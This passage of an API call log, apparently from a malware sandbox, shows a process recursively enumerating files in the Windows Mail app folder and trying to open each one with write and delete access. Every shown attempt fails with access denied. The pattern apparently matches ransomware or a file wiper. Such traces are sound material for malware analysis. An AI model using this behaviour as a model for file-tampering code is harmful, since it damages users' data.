	[0090.251] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502c6e0 | out: lpFindFileData=0x502c6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189221ca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1894841e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1894841e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x338c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0
	[0090.251] FindClose (in: hFindFile=0x477a828 | out: hFindFile=0x477a828) returned 1
	[0090.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c6e0) returned 1
	[0090.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ef10) returned 1
	[0090.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.251] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1894841e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x189948d6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x189948d6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExSMime.dll", cAlternateFileName="")) returned 1
	[0090.251] wcscmp (_String1="ExSMime.dll", _String2=".") returned 1
	[0090.251] wcscmp (_String1="ExSMime.dll", _String2="..") returned 1
	[0090.251] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x189948d6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1e12880, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x189948d6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1
	[0090.251] wcscmp (_String1="fonts", _String2=".") returned 1
	[0090.251] wcscmp (_String1="fonts", _String2="..") returned 1
	[0090.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477eb90
	[0090.251] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0090.251] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\"
	[0090.251] wcscat (in: _Dest=0x477eb90, _Source="fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts"
	[0090.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477f530
	[0090.251] wcscpy (in: _Dest=0x477f530, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts"
	[0090.251] wcscat (in: _Dest=0x477f530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\"
	[0090.251] wcscat (in: _Dest=0x477f530, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\*") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\*"
	[0090.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502bad8
	[0090.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\*", lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x189948d6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1e12880, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x189948d6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0090.252] wcscmp (_String1=".", _String2=".") returned 0
	[0090.252] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x189948d6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1e12880, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x189948d6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.252] wcscmp (_String1="..", _String2=".") returned 1
	[0090.252] wcscmp (_String1="..", _String2="..") returned 0
	[0090.252] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189948d6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x189bab2f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x189bab2f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x111f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbol.ttf", cAlternateFileName="")) returned 1
	[0090.252] wcscmp (_String1="symbol.ttf", _String2=".") returned 1
	[0090.252] wcscmp (_String1="symbol.ttf", _String2="..") returned 1
	[0090.252] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491c2e0
	[0090.252] wcscpy (in: _Dest=0x491c2e0, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts"
	[0090.252] wcscat (in: _Dest=0x491c2e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\"
	[0090.252] wcscat (in: _Dest=0x491c2e0, _Source="symbol.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\symbol.ttf") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\symbol.ttf"
	[0090.252] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\symbol.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\symbol.ttf")) returned 0x20
	[0090.253] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\symbol.ttf", dwFileAttributes=0x20) returned 0
	[0090.253] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\symbol.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\symbol.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.253] GetLastError () returned 0x5
	[0090.253] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\fonts\\symbol.ttf", dwFileAttributes=0x20) returned 0
	[0090.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c2e0) returned 1
	[0090.253] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189948d6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x189bab2f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x189bab2f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x111f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbol.ttf", cAlternateFileName="")) returned 0
	[0090.253] FindClose (in: hFindFile=0x477a768 | out: hFindFile=0x477a768) returned 1
	[0090.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502bad8) returned 1
	[0090.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f530) returned 1
	[0090.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.253] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189e0d92, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x18b84775, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x18b84775, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x41c4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfxim.dll", cAlternateFileName="")) returned 1
	[0090.253] wcscmp (_String1="gfxim.dll", _String2=".") returned 1
	[0090.253] wcscmp (_String1="gfxim.dll", _String2="..") returned 1
	[0090.253] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b84775, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x18b84775, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x18b84775, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x31630, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxAccounts.exe", cAlternateFileName="")) returned 1
	[0090.253] wcscmp (_String1="HxAccounts.exe", _String2=".") returned 1
	[0090.253] wcscmp (_String1="HxAccounts.exe", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b84775, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x18e0cf84, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x18e0cf84, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x721a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxCalendar.dll", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="HxCalendar.dll", _String2=".") returned 1
	[0090.254] wcscmp (_String1="HxCalendar.dll", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e0cf84, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x19095792, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x19095792, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxCalendarAppImm.exe", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="HxCalendarAppImm.exe", _String2=".") returned 1
	[0090.254] wcscmp (_String1="HxCalendarAppImm.exe", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19095792, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1950de40, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1950de40, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb85800, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxComm.dll", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="HxComm.dll", _String2=".") returned 1
	[0090.254] wcscmp (_String1="HxComm.dll", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1950de40, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x19534099, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x19534099, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxComm.Ipc.Proxies.dll", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="HxComm.Ipc.Proxies.dll", _String2=".") returned 1
	[0090.254] wcscmp (_String1="HxComm.Ipc.Proxies.dll", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19534099, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1963f118, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1963f118, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2ab800, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxM.dll", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="HxM.dll", _String2=".") returned 1
	[0090.254] wcscmp (_String1="HxM.dll", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1963f118, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1974a197, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1974a197, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxMail.exe", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="HxMail.exe", _String2=".") returned 1
	[0090.254] wcscmp (_String1="HxMail.exe", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1974a197, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x197703f0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x197703f0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x17430, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxOutlook.Resources.dll", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="HxOutlook.Resources.dll", _String2=".") returned 1
	[0090.254] wcscmp (_String1="HxOutlook.Resources.dll", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x197703f0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x197703f0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x197703f0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="HxTsr.exe", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="HxTsr.exe", _String2=".") returned 1
	[0090.254] wcscmp (_String1="HxTsr.exe", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x197703f0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1979664a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1979664a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="iacom2im.dll", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="iacom2im.dll", _String2=".") returned 1
	[0090.254] wcscmp (_String1="iacom2im.dll", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1979664a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x197bc8a7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x197bc8a7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="icui18n56.dll", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="icui18n56.dll", _String2=".") returned 1
	[0090.254] wcscmp (_String1="icui18n56.dll", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x197bc8a7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x199ac747, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x199ac747, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x542cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="igxim.dll", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="igxim.dll", _String2=".") returned 1
	[0090.254] wcscmp (_String1="igxim.dll", _String2="..") returned 1
	[0090.254] FindNextFileW (in: hFindFile=0x46a83d8, lpFindFileData=0x502b3a0 | out: lpFindFileData=0x502b3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x199ac747, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1f59bda, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1d9063ff, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0090.254] wcscmp (_String1="images", _String2=".") returned 1
	[0090.254] wcscmp (_String1="images", _String2="..") returned 1
	[0090.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477f530
	[0090.255] wcscpy (in: _Dest=0x477f530, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe"
	[0090.255] wcscat (in: _Dest=0x477f530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\"
	[0090.255] wcscat (in: _Dest=0x477f530, _Source="images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4722fd0
	[0090.255] wcscpy (in: _Dest=0x4722fd0, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.255] wcscat (in: _Dest=0x4722fd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.255] wcscat (in: _Dest=0x4722fd0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\*") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\*"
	[0090.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502bad8
	[0090.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\*", lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x199ac747, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1f59bda, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1d9063ff, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a8a8
	[0090.259] wcscmp (_String1=".", _String2=".") returned 0
	[0090.259] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x199ac747, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1f59bda, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1d9063ff, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.260] wcscmp (_String1="..", _String2=".") returned 1
	[0090.260] wcscmp (_String1="..", _String2="..") returned 0
	[0090.260] FindNextFileW (in: hFindFile=0x477a8a8, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199ac747, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x199ac747, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x199ac747, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="10146_20x20x32.png", cAlternateFileName="")) returned 1
	[0090.260] wcscmp (_String1="10146_20x20x32.png", _String2=".") returned 1
	[0090.261] wcscmp (_String1="10146_20x20x32.png", _String2="..") returned 1
	[0090.261] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x50276c0
	[0090.261] wcscpy (in: _Dest=0x50276c0, _Source="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images"
	[0090.261] wcscat (in: _Dest=0x50276c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\"
	[0090.261] wcscat (in: _Dest=0x50276c0, _Source="10146_20x20x32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_20x20x32.png") returned="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_20x20x32.png"
	[0090.261] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_20x20x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_20x20x32.png")) returned 0x20
	[0090.263] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_20x20x32.png", dwFileAttributes=0x20) returned 0
	[0090.263] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_20x20x32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\\images\\10146_20x20x32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.263] GetLastError () returned 0x5
